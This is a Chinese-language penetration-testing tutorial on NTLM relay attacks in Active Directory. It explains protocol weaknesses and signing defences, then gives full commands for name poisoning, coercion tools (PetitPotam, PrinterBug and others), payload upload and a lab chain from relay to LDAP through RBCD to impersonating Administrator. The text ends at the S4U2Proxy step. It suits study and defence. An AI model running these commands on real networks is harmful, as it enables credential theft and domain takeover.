NTLM 协议在设计上没有对底层通信协议做绑定——也就是说,NTLM 的认证消息(Type 1 / Type 2 / Type 3)可以被封装在不同的协议载体中进行传输。这个特性带来了一个严重的攻击面:NTLM 中继(NTLM Relay)。
简单来说:攻击者截获客户端的 NTLM 认证请求,然后把这个请求”转发”给另一台服务器。目标服务器以为攻击者就是那个合法的客户端,于是允许攻击者以该客户端身份登录。攻击者全程不需要知道客户端的密码或 Hash。
一个最直观的理解
假设有三台机器,攻击者想让 Victim 的凭据通过自己传递给 Target:

关键步骤说明:
- 步骤 2-3 是攻击成败的核心:Attacker 必须先向 Target 发起一次认证,拿到 Target 生成的 Challenge。这个 Challenge 不是 Attacker 自己编的,而是 Target 真正生成的 8 字节随机数。
- 步骤 4-5:Attacker 把 Target 的 Challenge 原封不动转发给 Victim。Victim 以为这是 Attacker 给的 Challenge(它不知道这个 Challenge 来自 Target),用自己的 NTLM Hash 计算出合法的 Response。
- 步骤 6-7:Attacker 把 Victim 的 Response 原封不动发给 Target。Target 拿到后,发现 Response 是用自己刚才生成的 Challenge 计算出来的——完全合法。Target 通过 Netlogon 发给域控验证,域控同样认为合法。
Victim 根本不知道 Attacker 在中间做了什么。Victim 只做了它认为正确的事:收到 Challenge → 用 Hash 加密 → 返回 Response。这个过程在 NTLM 协议中是标准的、无法区分是否被中继的。
NTLM 认证回顾:为什么可以被中继
NTLM 协议的三条消息
NTLM 认证由三条消息组成(Type 1 / Type 2 / Type 3),这三条消息是协议无关的——它们可以被嵌入到 SMB、HTTP、LDAP、MSSQL 等任何支持 NTLM SSP 的协议中传输。

NTLMv2 Response 的内部结构
理解中继攻击的关键在于理解 Type 3 消息中 NTLMv2 Response 的内部结构:
NTLMv2 Response = NTProofStr + Blob
NTProofStr (16 bytes):
HMAC-MD5(ResponseKeyNT, ServerChallenge + Blob)
其中 NTLMv2 的 ResponseKeyNT = HMAC_MD5(MD4(Unicode(Password)), Unicode(Uppercase(User)+Domain))
(这个值叫 NTOWFv2,不是单纯的 NTLM Hash;NTLMv1 才直接用 MD4)
Blob (Variable):
包含以下 AV_PAIR 结构:
- Timestamp (客户端时间戳)
- Client Challenge (8 字节随机数,客户端生成)
- Target Name (SPN,如 cifs/fileserver)
- Channel Binding (CBT,如果有)
- Target Info (来自 Type 2 的 Target Info)
- MsvAvFlags (标志位,bit 0x2=1 表示 MIC 存在)
MIC (Message Integrity Code,单独字段,不在 AV_PAIR 中):
HMAC_MD5(NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE)
对整个 NTLM 认证交换的完整性校验,键为 ExportedSessionKey
关键认知:NTLMv2 Response 中的 Target Name(AV_PAIR 中的 MsvAvTargetName)字段由客户端填写,表示”我以为我在和谁通信”。然而,服务端是否验证这个字段是自己的事情。如果服务端不验证(比如 LDAP 服务历史上默认为协商签名而非强制),那么这个字段就形同虚设——攻击者可以把客户端给 SMB 服务器的 Response 转发给 LDAP 服务器,LDAP 服务器不会因为 Target Name 不匹配而拒绝。
中继的根本原因
Client 不知道 Server Challenge 来自合法的 Server 还是中间人
└── Challenge 没有数字签名,无法验证来源
Target Name 不被强制验证
└── 服务端可以选择性忽略
NTLM 认证消息是协议无关的
└── SMB 的消息可以被放到 LDAP 的 bind 中
没有 Channel Binding
└── 认证消息未绑定到 TLS 通道
获取 Net-NTLM Hash:诱导受害者发起认证
在讨论如何中继之前,必须先解决一个前置问题:如何让受害者向攻击者发起 NTLM 认证?
没有这个前提,就没有可以中继的认证请求。获取 Net-NTLM Hash 的技术分为三大类:网络投毒(被动等待受害者连接)、强制认证(主动逼迫目标发起连接)、文件陷阱(被动等待用户浏览目录)。
网络投毒类(被动):LLMNR / NetBIOS / WPAD / mitm6
攻击者不主动连接目标,而是在网络中监听并响应广播/多播请求,等受害者”送上门来”。
Windows 名称解析顺序
Windows 系统在解析主机名时,按照以下固定顺序进行:
1. 本地 hosts 文件(%windir%\System32\drivers\etc\hosts)
2. DNS 缓存 / DNS 服务器
3. 链路本地多播名称解析(LLMNR,UDP 5355)
4. NetBIOS 名称服务(NBT-NS,UDP 137)
当用户输入一个不存在的主机名、DNS 解析失败时,Windows 会通过 LLMNR 和 NBT-NS 在本地网络中询问”谁是 xxx?”。由于这两个过程未经认证且全网广播,攻击者可以响应”我就是 xxx!”,从而让受害者向攻击者发起连接。连接一旦建立,NTLM 认证流程就会自动触发。
⚠️ 网络投毒的致命限制:攻击者和受害者必须在同一个二层网络(同一子网/同一交换机下)。 LLMNR 使用 UDP 5355 链路本地多播(TTL=1),NBT-NS 使用 UDP 137 广播——两者都被路由器直接丢弃,不跨网段。mitm6 使用的 DHCPv6 多播地址
FF02::1:2同样是链路本地的。这意味着这些技术不能跨子网攻击——如果你和受害者不在同一个广播域,你收不到他们的多播/广播查询,也无法投毒响应。这也是为什么内网渗透中”先拿到一台内网机器”如此重要:你需要在目标网络内部有一个立足点,才能在链路层执行投毒。
Responder:LLMNR / NBT-NS / WPAD 投毒
Responder 是这一切工具的鼻祖,集成了 LLMNR、NBT-NS、WPAD 等多种投毒功能:
responder -I eth0
Responder 启动后监听以下协议:
| 投毒协议 | 监听端口 | 触发条件 |
|---|---|---|
| LLMNR | UDP 5355 | DNS 解析失败后的多播查询 |
| NBT-NS | UDP 137 | NetBIOS 名称查询广播 |
| WPAD | — | 浏览器自动代理检测 |
| MDNS | UDP 5353 | 本地多播 DNS 查询 |
Responder 捕获到的 Net-NTLM Hash 默认输出在 /usr/share/responder/logs/ 目录下,可以使用 hashcat 离线爆破(NTLMv2 对应 mode 5600):
hashcat -m 5600 hash.txt wordlist.txt
NTLM Relay 的价值在于绕过密码破解这一步,直接使用捕获的认证消息去认证到其他服务。如果密码足够强、字典无法爆破,Relay 就是唯一的利用路径。
WPAD 劫持
WPAD(Web Proxy Auto-Discovery Protocol)允许浏览器自动发现代理服务器。当浏览器开启”自动检测设置”时(Windows 默认开启),它会查找 PAC 文件:
1. DHCP 服务器(option 252)
2. DNS 查询 wpad.<域后缀>
3. LLMNR 查询 "wpad"
4. NBT-NS 查询 "wpad"
攻击者利用 Responder 劫持 WPAD 解析,将受害者引向攻击机。
⚠️ 微软在 MS16-077(2016 年 6 月)之后,WPAD 投毒实际上已不可用于凭据捕获。 两个关键限制:(1) 系统不再能通过广播协议(LLMNR/NBT-NS)解析 WPAD 文件的位置,只能通过 DHCP 或 DNS;(2) WinHTTP 在请求 PAC 文件时不会自动发送域凭据来响应 NTLM 认证质询——这是致命一击。没有静默发送的凭据,就没有可中继的内容。Responder 的
-F参数虽然能强制开启 WPAD 响应,但捕获到的只是连接尝试,不是 NTLM 凭据。在现代环境中,WPAD 凭据捕获的唯一可行方式是通过 mitm6——攻击者通过 DHCPv6 完全接管 DNS,将 WPAD 查询通过 DNS 协议(而非广播)解析到攻击机。mitm6 解决了 MS16-077 的第一个限制(广播协议),但第二个限制(WinHTTP 不自动发送凭据)仍然存在——mitm6 的实际价值更多在于接管 DNS 后可以触发其他类型的 HTTP 认证,而非 WPAD 本身。
mitm6:IPv6 劫持
从 Windows Vista 开始,所有 Windows 系统默认启用 IPv6,且 IPv6 的优先级高于 IPv4。mitm6 利用 DHCPv6 协议劫持 DNS:
1. Windows 客户端定期发送 DHCPv6 Solicit 请求到组播地址 [ff02::1:2]
2. mitm6 响应该请求,将攻击者的 IPv6 地址设置为受害者的 DNS 服务器
3. 受害者的 DNS 查询走攻击者控制的 IPv6 DNS
4. 攻击者可将受害者引导到伪造的 SMB 服务,触发 SMB NTLM 认证
# 启动 mitm6
mitm6 -d testjd.local
# 配合 ntlmrelayx 进行中继(-6 启用 IPv6)
impacket-ntlmrelayx -6 -wh testjd.local -t smb://192.168.244.131 -l ~/tmp/ -socks -debug
⚠️ mitm6 绕过了 MS16-077 的第一条限制(广播协议 → DNS),但绕不过第二条(WinHTTP 不自动发送域凭据)。因此 mitm6 可用于劫持 DNS 将 SMB 流量引向攻击机(配合强制认证或文件陷阱触发 SMB 认证),但不能用于 WPAD 凭据捕获——请求 PAC 文件时 WinHTTP 依然不发送凭据。详见 HTTP → SMB 中继章节的分析。
强制认证类(主动):PetitPotam / PrinterBug / DFSCoerce 等
攻击者主动调用目标机器上的 Windows RPC 接口,逼迫目标机器以机器账户身份向攻击者发起 NTLM/Kerberos 认证。与网络投毒不同,这类技术不是等受害者”送上门”,而是直接命令受害者”过来认证”。需要攻击者拥有有效的域凭据才能调用 RPC。
⚠️ 公网与 SMB 端口限制:强制认证触发的是 SMB 连接(端口 445)。自 Conficker 蠕虫时代(2008 年)以来,全球住宅 ISP 和移动运营商普遍封锁 TCP 445(进出双向均封)。如果你在公网 VPS 上监听 445,受害者通过家庭宽带或移动网络无法连到你。NTLM 中继本质上要求攻击者在目标内网中有一个可达的监听点。 企业专线和云 VPS 通常不封 445,但也需要攻击机到目标机器的网络路径通畅。HTTP 端口(80/443)不受 ISP 封锁,但 HTTP 源的 NTLM 凭据静默发送面临 Intranet Zone 和 MS16-077 的限制(详见 HTTP → SMB 中继章节)。
常见的强制认证技术:
| 技术 | 利用协议 | 需要凭据 | 核心原理 |
|---|---|---|---|
| PetitPotam | MS-EFSRPC | 需要 | 利用 EfsRpcOpenFileRaw 接口让目标连接攻击者指定的 UNC 路径 |
| PrinterBug | MS-RPRN | 不需要 | 利用打印机通知订阅让目标连接攻击者 |
| DFSCoerce | MS-DFSNM | 需要 | 利用 DFS 命名空间操作触发 UNC 连接 |
| ShadowCoerce | MS-FSRVP | 需要 | 利用卷影复制服务触发认证 |
| MS-EVEN | MS-EVEN | 需要 | 利用 Windows Event Log 接口触发认证 |
PetitPotam(MS-EFSRPC)
利用协议:MS-EFSRPC(Encrypting File System Remote Protocol)
利用接口:EfsRpcOpenFileRaw、EfsRpcEncryptFileSrv
原理:
MS-EFSRPC 允许远程客户端指定 UNC 路径作为加密文件的路径。
当 EFS 服务处理请求时,系统尝试连接该 UNC 路径。
连接过程中,以机器账户身份发起 NTLM / Kerberos 认证。
# 触发 SMB 认证(直连攻击机)
python3 PetitPotam.py -d testjd.local -u attacker -p Bb123456 \
192.168.244.1 192.168.244.133
# 触发 HTTP 认证(通过 WebDAV,推荐)
python3 PetitPotam.py -d testjd.local -u attacker -p Bb123456 \
hacker@80/test123 192.168.244.133
适用条件:目标开启 EFS 服务(默认开启);攻击者需要有效域凭据调用 RPC 接口;配合 WebClient 可通过 WebDAV 触发 HTTP 认证。
PetitPotam 配合 ntlmrelayx 时的常见问题:从 impacket v0.9.21 开始,ntlmrelayx 默认等待客户端发送 Tree Connect 请求后才继续处理中继。但 PetitPotam 触发的连接中,目标如果强制 SMB 签名,NTLM 握手完成后客户端检测到签名无效 → 断开连接 → 永远不会发送 Tree Connect → ntlmrelayx 静默忽略该认证(无任何输出)。解决方法:在 ntlmrelayx 命令中添加
--no-multirelay参数,跳过 Tree Connect 等待。另可尝试 PetitPotam 的-pipe efsr参数走\pipe\efsrpc管道(而非默认的\pipe\lsarpc),不同管道触发的认证行为可能不同。
PrinterBug(MS-RPRN / SpoolSample)
利用协议:MS-RPRN(Print System Remote Protocol)
利用接口:RpcRemoteFindFirstPrinterChangeNotification
原理:Print Spooler 的 RPC 接口允许客户端订阅打印机通知。接口接受一个 UNC 路径参数作为通知端点。Spooler 服务处理请求时主动连接该 UNC 路径,触发认证。
# 检查 MS-RPRN 接口
impacket-rpcdump @192.168.244.133 | grep MS-RPRN
# 触发认证
python3 printerbug.py testjd.local/attacker:[email protected] 192.168.244.1
# Windows 上使用 SpoolSample.exe
SpoolSample.exe 192.168.244.133 192.168.244.1
关键应用:PrinterBug + 非约束委派:
1. 攻击者控制配置了非约束委派的服务器 SRV01
2. PrinterBug 强制 DC 向 SRV01 发起 Kerberos 认证
3. DC 机器账户的 TGT 被缓存在 SRV01 的 LSASS 中
4. 攻击者 dump TGT → DCSync → 全域 Hash
注意:必须使用主机名(FQDN)而非 IP
用 IP 会退化为 NTLM,KDC 不会签发 Kerberos 票据
DFSCoerce(MS-DFSNM)
python3 DFSCoerce.py -d testjd.local -u attacker -p Bb123456 \
192.168.244.1 192.168.244.133
ShadowCoerce(MS-FSRVP)
python3 ShadowCoerce.py -d testjd.local -u attacker -p Bb123456 \
192.168.244.1 192.168.244.133
MS-EVEN(Evilent / CheeseOunce)
利用 Windows Event Log 的 RPC 接口(MS-EVEN)触发强制认证。
python3 CheeseOunce.py -d testjd.local -u attacker -p Bb123456 \
192.168.244.1 192.168.244.133
强制认证技术横向对比
| 技术 | 利用协议 | 需要凭据 | 认证协议 | 稳定性 |
|---|---|---|---|---|
| PetitPotam | MS-EFSRPC | 需要域凭据 | SMB / WebDAV | ★★★ |
| PrinterBug | MS-RPRN | 无需凭据 | SMB (Kerberos 或 NTLM) | ★★★ |
| DFSCoerce | MS-DFSNM | 需要域凭据 | SMB | ★★☆ |
| ShadowCoerce | MS-FSRVP | 需要域凭据 | SMB | ★★☆ |
| MS-EVEN | MS-EVEN | 需要域凭据 | SMB | ★★☆ |
选择建议:
中继到 LDAP(RBCD / Shadow Credentials):
→ PetitPotam + WebDAV(HTTP 触发,无签名问题)
中继到 SMB:
→ PrinterBug(无需凭据,稳定)
捕获 Kerberos TGT(配合非约束委派):
→ PrinterBug 触发 Kerberos 认证
→ 必须使用 FQDN,不能用 IP
文件陷阱类(被动):LNK / URL / searchConnector-ms
这是一种不依赖网络投毒的触发方式。攻击者在共享文件夹中放置特制的 .lnk(快捷方式)或 .url 文件,这些文件的图标路径指向攻击者的 SMB 服务器。用户只需浏览该文件夹(Windows 资源管理器自动解析图标路径),就会触发 NTLM 认证——用户完全不需要点击文件。
.lnk 文件结构(简化):
IconLocation = \\192.168.244.1\share\icon.ico
.url 文件结构(简化):
IconFile = \\192.168.244.1\share\icon.ico
放置位置:
- 高流量的共享文件夹
- 通过 C$ 管理共享推送到用户桌面
- 通过 SMB Relay 成功后写入目标机器的启动目录
类似的文件类型还包括 .searchConnector-ms(Windows 搜索连接器)和 .library-ms(Windows 库文件),它们同样可以在用户浏览时自动触发远程 SMB 认证,无需任何用户交互。
获取 Hash 与 Relay 的路径选择
Responder / mitm6 获取 Net-NTLMv2 Hash 后:
如果密码弱 ──→ hashcat -m 5600 直接爆破 ──→ 获得明文密码 ──→ 正常登录
如果密码强 ──→ 不爆破,使用 Relay
└──→ 将认证消息中继到目标服务
└──→ 绕过密码,直接以受害者身份操作
中继的条件:签名与 Channel Binding
中继攻击能否成功,取决于一个关键条件:通信信道是否受完整性保护。
签名机制原理
Victim 和 Target 如何各自算出同一个 Session Key
NTLM 认证的消息交换结束后,Victim 和 Target 会独立算出同一个 Session Key。以 NTLMv2 为例:

为什么 Attacker 算不出 Session Key
Attacker 截获到的内容:
– Type 1(不含任何密钥材料)
– Type 2(含 ServerChallenge,但没有用户 Hash)
– Type 3(含 NTProofStr 和 temp,但这些是”结果”不是”原材料”)
Attacker 缺失的:
– 用户的 NTLM Hash → 没有密码 → 算不出 NTOWFv2
– NTOWFv2 是 HMAC 的密钥 → 没有密钥就逆推不出输入
没有 NTOWFv2,Attacker 就无法重走 Step 3。
ServerChallenge 知道,NTProofStr 也知道,但 NTOWFv2 不知道 → SessionBaseKey 算不出来。
签名检查如何工作
Target 要求签名后,每次 Attacker 发送一条命令(如 dir C:\),都需要附带一个用 ExportedSessionKey 计算的 MAC。Target 用自己手里同样的 ExportedSessionKey 重新计算 MAC 并比对:
- 匹配 → 消息未被篡改,来自持有 Session Key 的真实客户端
- 不匹配 → 要么被篡改,要么发送者没有 Session Key → 拒绝
这就是签名阻断中继的精髓:Type 1/2/3 中继成功了,但拿到认证的是 Attacker,Session Key 却在 Victim 和 Target 手里。Target 开启了签名后,Attacker 的每一条后续操作都需要 Session Key 来签名——Attacker 没有,操作全部失败。
签名如何阻止中继:对比示意图
下面的示意图展示 NTLM 中继完成后、认证成功但不要求签名 vs 要求签名两种情况下 Session Key 的作用。Session Key 由 NTLM Hash 和 Challenge 共同派生——Victim 知道自己的 NTLM Hash,Target 通过 Netlogon 从 DC 处获得验证结果后也能独立算出 Session Key,但 Attacker 两者都没有。

SMB 签名
SMB 签名是 SMB 协议层面的完整性保护,有三个级别:
| 级别 | 注册表值 | 含义 | 可否中继 |
|---|---|---|---|
| Disabled | 0 | 不使用 SMB 签名 | 可以中继(到未要求签名的目标) |
| Enabled | 1 | 可以使用签名,但不强制 | 攻击者不提供签名时可降级 |
| Required | 2 | 必须使用签名 | 无法中继(攻击者无法伪造签名) |
检查 SMB 签名状态
# netexec 扫描子网(推荐)
netexec smb 192.168.244.0/24
# nmap 针对性扫描
nmap -p 445 --script smb2-security-mode 192.168.244.0/24 --open
# Responder 自带的 RunFinger 脚本
cd /usr/share/responder/tools
python3 RunFinger.py -i 192.168.244.0/24
输出示例:
SMB 192.168.244.131 445 DC01 signing:True (signing:required)
SMB 192.168.244.132 445 WIN10 signing:False
SMB 192.168.244.133 445 DC02 signing:True (signing:required)
域控默认强制 SMB 签名(signing:required),普通域成员机器默认不强制。这是区分中继目标可行性的关键。
LDAP 签名与 Channel Binding
LDAP 有两个独立的保护机制:
LDAP Signing:对 LDAP 消息进行签名。Windows 默认策略是协商签名而非强制——是否签名由客户端决定。这意味着如果客户端(攻击者中继过来的认证)不要求签名,服务端也会接受。
LDAP Channel Binding:将 LDAP 认证会话绑定到当前的 TLS 通道。中继到不同 TLS 通道时,Channel Binding Token(CBT)不匹配,认证失败。
协商签名 vs 强制签名(以 LDAP 为例):
协商签名:服务端说"我可以签名,但你不签名我也接受"
强制签名:服务端说"你必须签名,不签名就断开"
对于中继攻击:
- 协商签名 → 可以中继(攻击者声称"我不签名")
- 强制签名 → 无法中继(攻击者没有 Session Key,无法签名)
Channel Binding:
- 未启用 → 可以中继
- 已启用 → 无法中继(TLS 通道不匹配)
微软从 2020 年 1 月开始推送安全更新(ADV190023),计划逐步在所有域控上强制启用 LDAP Signing 和 LDAP Channel Binding。截至 2026 年,打完最新补丁的域控默认已有这些保护。但现实环境中,出于兼容性考虑(旧版 Linux、第三方应用、NAS 设备等),许多企业仍未启用强制签名。Windows Server 2025 开始默认强制 LDAP 加密和签名。
可中继性综合分析
源端签名保护
┌─────────┴─────────┐
│ │
无签名保护 有签名保护
(HTTP等) (SMB签名等)
│ │
┌──────────────┴───────┐ ┌──────┴──────┐
│ │ │ │
Target 无签名 Target 无法中继
或协商签名 强制签名
│ │
✅ 可以中继 ❌ 无法中继
关键认知:SMB 签名是 SMB 协议层面的。如果源端认证走的是 HTTP 协议(通过 WebDAV),那么 SMB 签名根本不存在——HTTP 协议没有 SMB 签名机制。这就是为什么 HTTP → LDAP 中继如此有效:HTTP 端没有签名保护,LDAP 端如果允许协商签名,整个通路就没有障碍。
实验环境
拓扑

角色说明:
| 机器 | IP | 角色 | SMB 签名 | 特殊配置 |
|---|---|---|---|---|
| DC01 | 192.168.244.131 | 域控 | Required | AD CS(LDAPS 可用) |
| DC02 | 192.168.244.133 | 域控 | Required | WebClient 已启用 |
| WIN10-PC | 192.168.244.132 | 域成员 | False | 无 |
| Kali | 192.168.244.1 | 攻击机 | — | impacket 工具集 |
环境准备
配置 DC02 的 WebClient 服务
在 DC02 上执行(PowerShell,管理员):
Set-Service WebClient -StartupType Automatic
Start-Service WebClient
Get-Service WebClient
验证:
netexec smb 192.168.244.133 -u attacker -p Bb123456 -M webdav
配置 DC01 的 AD CS(启用 LDAPS)
在 DC01 上安装 AD CS(PowerShell,管理员):
# 安装 AD CS 角色
Install-WindowsFeature AD-Certificate -IncludeManagementTools
# 配置企业根 CA
Install-AdcsCertificationAuthority `
-CAType EnterpriseRootCa `
-CACommonName "testjd-CA" `
-KeyLength 2048 `
-HashAlgorithmName SHA256 `
-Force
# 重启 DC01
Restart-Computer
验证 LDAPS 是否生效:
openssl s_client -connect 192.168.244.131:636 -showcerts
SMB → SMB 中继
这是最经典、最直观的中继场景。攻击者截获一台机器的 SMB NTLM 认证,将其转发到另一台机器的 SMB 服务上,以受害者的身份在目标机器上执行命令。
工作原理

前提条件
- 1. Victim 的 NTLM 认证可以被诱导到攻击机
- 2. Target 的 SMB 签名不是 Required
- 3. Victim 在 Target 上有本地管理员权限(或域管权限)
- 4. 受 Remote UAC 令牌过滤限制,除 RID 500 的 Administrator
和 Domain Admins 组成员外的本地管理员无法通过网络远程登录
Remote UAC 令牌过滤(自 Windows Vista 引入):当非 RID 500 的本地管理员账户通过网络(SMB/WMI/PowerShell Remoting 等)远程登录时,UAC 会将其访问令牌从”高完整性”降级为”中完整性”,导致访问 ADMIN$、注册服务等需要管理员权限的操作失败。只有 RID 500 的内置 Administrator(和 Domain Admins 组中的域账户)能获得完整的高完整性令牌。有关此机制的注册表项是
LocalAccountTokenFilterPolicy(HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System),默认不存在(等于 0,启用过滤)。常见误解澄清:KB2871997(2014 年 5 月)常被误认为引入了此限制,实际上它只增加了两个 SID(
S-1-5-113和S-1-5-114)用于组策略级别的本地账户远程访问控制,Remote UAC 令牌过滤自 Vista 时代就已存在。
场景一:Responder + MultiRelay
# Step 1: 启动 MultiRelay,监听并中继所有认证到指定目标
cd /usr/share/responder/tools/
python3 MultiRelay.py -t 192.168.244.132 -u ALL
# Step 2: 修改 Responder 配置,关闭 SMB 和 HTTP 捕获
vim /usr/share/responder/Responder.conf
# SMB = Off
# HTTP = Off
# Step 3: 启动 Responder 进行名称解析投毒
responder -I eth0
当 Victim 尝试访问一个不存在的网络共享时(例如 net use \\whoami),Responder 劫持名称解析,将 Victim 引向攻击机。MultiRelay 将认证中继到目标机器,返回交互式 Shell。
场景二:impacket-ntlmrelayx(SMB → SMB)
# 方式一:执行单条命令
impacket-ntlmrelayx -t smb://192.168.244.132 -c "whoami" -smb2support
# 方式二:dump 目标机器的 SAM 哈希(默认行为,不加 -c)
impacket-ntlmrelayx -t smb://192.168.244.132 -smb2support
# 方式三:上传并执行 payload
impacket-ntlmrelayx -t smb://192.168.244.132 -e ~/payload.exe -smb2support
# 方式四:交互式 Shell(SMB 中继成功后监听本地 TCP 端口)
impacket-ntlmrelayx -t smb://192.168.244.132 -i -smb2support
# 监听在 127.0.0.1:11000,nc 连接即可交互
nc 127.0.0.1 11000
# ⚠️ 配合 PetitPotam 时建议加上 --no-multirelay
# (详见 PetitPotam 章节的说明)
impacket-ntlmrelayx -t smb://192.168.244.132 -smb2support --no-multirelay
在 192.168.244.131 上手动触发

执行结果

触发 SMB 认证的常见方式
方式一:Responder 投毒(被动)
受害者访问不存在的主机名时自动触发
方式二:钓鱼(主动)
邮件中嵌入 <img src="\\192.168.244.1\share\test.png">
用户打开邮件即触发 SMB NTLM 认证
⚠️ 微软 2023 年 7 月更新限制:仅当 MapUrlToZone 判定路径
为 Intranet/Trusted Sites 时才允许 UNC 连接
方式三:强制认证工具(主动)
PetitPotam / PrinterBug / DFSCoerce 触发目标机器发起 SMB 认证
方式四:共享文件夹陷阱(被动)
在高流量共享目录放置特制 .lnk/.url 文件
用户浏览目录即触发
关于反射(Reflection):MS08-068 与 CVE-2019-1384
中继回自身(Reflection)——将 Victim 的 SMB 认证中继到它自己的 SMB 服务——是最早被利用的形式。
MS08-068(kb957097)的防御逻辑:
1. 主机 A 向主机 B(访问 \\B)发起 SMB 认证时,
内部记录 pszTargetName = cifs/B
2. 收到 B 的 Challenge 后,在 LSASS 中缓存 (Challenge, cifs/B)
3. B 收到 A 的 Type 3 后,检查 LSASS 中是否有 (Challenge, cifs/B)
4. 如果存在缓存 → 这是反射攻击 → 认证失败
关键细节:这个缓存的有效期是 300 秒(5 分钟)。
CVE-2019-1384(Ghost Potato)绕过了 MS08-068 的限制:攻击者延迟 300 秒后再中继,此时 LSASS 缓存已过期,认证可以通过。
Ghost Potato 同样受 Remote UAC 令牌过滤限制:非 RID 500 的本地管理员在中继回自身后因令牌降级无法执行管理操作,必须中继的是 RID 500 的 Administrator 账户才能获得完整权限。
HTTP → LDAP 中继
这是目前域渗透中最具实战价值的中继组合。HTTP 协议上的 NTLM 认证默认不受签名保护,而 LDAP 默认协商签名,攻击者可以完整地中继认证。
为什么 HTTP 端没有签名问题
SMB 协议 → SMB Session Setup 中协商签名 → 有 SMB Signing
HTTP 协议 → HTTP 401/407 认证交换中不涉及 SMB → 无 SMB Signing
LDAP 协议 → LDAP Bind 中可以协商签名 → 有 LDAP Signing
HTTP → LDAP 中继:
源端(HTTP):无签名保护 → 认证消息可被完整截获转发
目标端(LDAP):协商签名 → 攻击者可以声称"我不签名"
中继到 LDAP 能做什么
| Victim 身份 | 中继到 LDAP 后可以做什么 |
|---|---|
| 普通域用户 / 机器账户 | 创建机器账户(利用 MachineAccountQuota)、配置 RBCD、Shadow Credentials、枚举域信息 |
| 域控机器账户(如 DC02$) | 上述全部 + 对自身配置 RBCD/Shadow Credentials + DCSync 权限 |
| Domain Admins / Enterprise Admins | 将任意用户添加到域管组、修改 ACL |
| Exchange 机器账户 | WriteDacl 到域分区 → 为任意用户授予 DCSync 权限 |
完整的 HTTP → LDAP 攻击链(RBCD 路径)
这是从普通域用户到域控 Administrator 的完整攻击路径:
攻击全景图:
1. 攻击者启动 ntlmrelayx 监听 HTTP 80,中继目标设为 DC01 LDAP
2. 攻击者使用 PetitPotam 强制 DC02 向攻击机发起 HTTP 认证
└── DC02 的 WebClient 服务解析 WebDAV 路径
└── DC02 以机器账户 DC02$ 的身份发起 NTLM 认证
└── HTTP 协议无签名保护 → 可完整中继
3. ntlmrelayx 将 DC02$ 的认证中继到 DC01 的 LDAP
└── 以 DC02$ 身份执行 LDAP 操作
└── 利用 ms-DS-MachineAccountQuota 创建新机器账户
└── 修改 DC02$ 的 msDS-AllowedToActOnBehalfOfOtherIdentity
└── 配置 RBCD:新机器账户可委派 DC02$
4. 攻击者使用新机器账户执行 S4U2Proxy
└── getST -impersonate Administrator
└── 获取 Administrator 访问 CIFS/DC02 的服务票据
5. wmiexec 以 Administrator 身份登录 DC02
第一步:添加 DNS 记录
dnstool \
-u 'testjd\attacker' \
-p Bb123456 \
-r hacker.testjd.local \
-d 192.168.244.1 \
-a add \
-dns-ip 192.168.244.131 \
192.168.244.131
验证:
nslookup hacker.testjd.local 192.168.244.131
第二步:启动 ntlmrelayx
impacket-ntlmrelayx \
-t ldap://dc01.testjd.local \
-debug \
--no-wcf-server \
--no-raw-server \
--no-rpc-server \
--http-port 80 \
-ts \
--delegate-access
启动后 ntlmrelayx 的状态:
[*] Protocol Client SMB loaded..
[+] Protocol Attack LDAP loaded..
[+] Protocol Attack LDAPS loaded..
[+] Protocol Attack MSSQL loaded..
[+] Protocol Attack SMB loaded..
[+] Protocol Attack WINRMS loaded..
[+] Protocol Attack HTTP loaded..
[+] Protocol Attack HTTPS loaded..
[+] Protocol Attack DCSYNC loaded..
[+] Protocol Attack IMAP loaded..
[+] Protocol Attack IMAPS loaded..
[+] Protocol Attack RPC loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Servers started, waiting for connections
第三步:触发强制认证(PetitPotam)
python3 PetitPotam.py \
-d testjd.local \
-u attacker \
-p Bb123456 \
hacker@80/test123 \
192.168.244.133
PetitPotam 内部工作原理:
1. PetitPotam 通过 MS-EFSRPC 的 EfsRpcOpenFileRaw 接口调用 DC02
参数:FileName = \\hacker@80\test123\pipe\srvsvc
2. DC02 的 EFS 服务尝试打开这个 UNC 路径
3. WebClient 服务将 UNC 路径转换为 WebDAV URL:
\\hacker@80\test123\pipe\srvsvc
→ http://hacker.testjd.local/test123/pipe/srvsvc
4. DC02 向攻击机(Kali 192.168.244.1:80)发起 HTTP 请求
5. 攻击机的 ntlmrelayx 返回 HTTP 401 Unauthorized
头部包含 WWW-Authenticate: NTLM
6. DC02 自动发送 NTLM Type 1 → 攻击机返回 Type 2(Challenge)
→ DC02 发送 Type 3(Response)
7. ntlmrelayx 获得 DC02$ 的完整 NTLM 认证数据
第四步:中继结果
[*] (HTTP): Client requested path: /test123/pipe/srvsvc
[*] (HTTP): Connection from 172.19.32.1 controlled, attacking target ldap://dc01.testjd.local
[*] (HTTP): Authenticating connection from TESTJD/DC02$ against ldap://dc01.testjd.local SUCCEED [1]
[*] ldap://TESTJD/[email protected] [1] -> Enumerating relayed user's privileges
[+] ldap://TESTJD/[email protected] [1] -> User is a member of: []
[+] ldap://TESTJD/[email protected] [1] -> User is a member of:
[DN: CN=Domain Controllers,CN=Users,DC=testjd,DC=local
name: Domain Controllers, objectSid: S-1-5-21-...-516]
[*] ldap://TESTJD/[email protected] [1] -> Adding a machine account requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS
[+] ldap://TESTJD/[email protected] [1] -> New computer info ISNMNRJN$
[+] ldap://TESTJD/[email protected] [1] -> Adding new computer with username: ISNMNRJN$ and password: pChC*..!$*vPC(g result: OK
[+] ldap://TESTJD/[email protected] [1] -> Delegation rights modified succesfully!
[+] ldap://TESTJD/[email protected] [1] -> ISNMNRJN$ can now impersonate users on DC02$ via S4U2Proxy
关键信息解读:
SUCCEED:中继成功,DC01 接受了以 DC02$ 身份的 LDAP 绑定Domain Controllers:DC02$ 是域控机器账户Switching to LDAPS via StartTLS:创建机器账户需要加密信道,ntlmrelayx 自动从 LDAP(389) 升级到 LDAPS(636) 的 StartTLS。如果 Channel Binding 未强制,StartTLS 由攻击者发起,CBT 不匹配也会被忽略。Adding new computer ... OK:利用ms-DS-MachineAccountQuota(默认 10)创建机器账户Delegation rights modified successfully:RBCD 配置写入成功
第五步:RBCD 利用(S4U2Proxy)
impacket-getST \
-spn cifs/DC02.testjd.local \
-impersonate Administrator \
testjd.local/ISNMNRJN$:'pChC*..!$*vPC(g'
S4U2Proxy 流程:
